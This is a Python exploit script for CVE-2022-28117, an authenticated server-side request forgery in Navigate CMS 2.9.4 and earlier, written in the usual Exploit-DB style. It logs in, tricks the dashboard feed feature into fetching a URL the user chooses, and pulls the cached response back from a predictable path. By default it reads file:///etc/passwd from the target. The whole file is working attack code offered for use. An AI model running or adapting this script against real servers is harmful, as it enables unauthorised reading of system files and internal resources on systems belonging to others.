#!/usr/bin/env python3
# Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
# Exploit Author: cheshireca7
# Vendor Homepage: https://www.navigatecms.com/
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
# Version: 2.9.4 and earlier
# Tested on: Ubuntu 20.04
# CVE: CVE-2022-28117
#
# -*- coding: utf-8 -*-

import requests as r, signal
from emoji import emojize
from argparse import ArgumentParser
from sys import exit
from requests_toolbelt.multipart.encoder import MultipartEncoder
from hashlib import md5
from time import sleep
from base64 import b64decode,b64encode
from colorama import Fore, Style

#proxies = {'http':'http://127.0.0.1:8080'}

def handler(signum, frame):
    print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))
    exit()

def login():
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")
    sleep(1)

    try:
        # Grabbing CSRF Token
        s = r.Session()
        resp = s.get(f"{args.target}/login.php")#, proxies=proxies)
        csrf_token = resp.headers['X-Csrf-Token']

        # Performing login
        data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})
        headers = {'Content-Type':data.content_type}
        resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)
    except:
        print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")
        exit(-1)
    if resp.status_code == 302:
        print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")
        for cookie in resp.cookies:
            if "NVSID" in cookie.name:
                return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")
    else:
        print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")
        exit(-1)

def exploit(values):
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")
    sleep(1)
    
    # Abusing cache feature to retrieve response 
    data = {'limit':'5','language':'en','url':f'{args.payload}'}
    headers = {'X-Csrf-Token':values[0]}
    cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
    resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)

    # Retrieving the file with response from static route
    md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
    resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
    if len(resp.text) > 0:
        print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
        sleep(1)
        print(f"\n{resp.text}")
        exit(0)
    else:
        print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
        exit(-1)

if __name__ == '__main__':

    # Define parameters    
    signal.signal(signal.SIGINT, handler)
    parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
    parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
    parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
    parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
    parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
    args = parser.parse_args()

    exploit(login())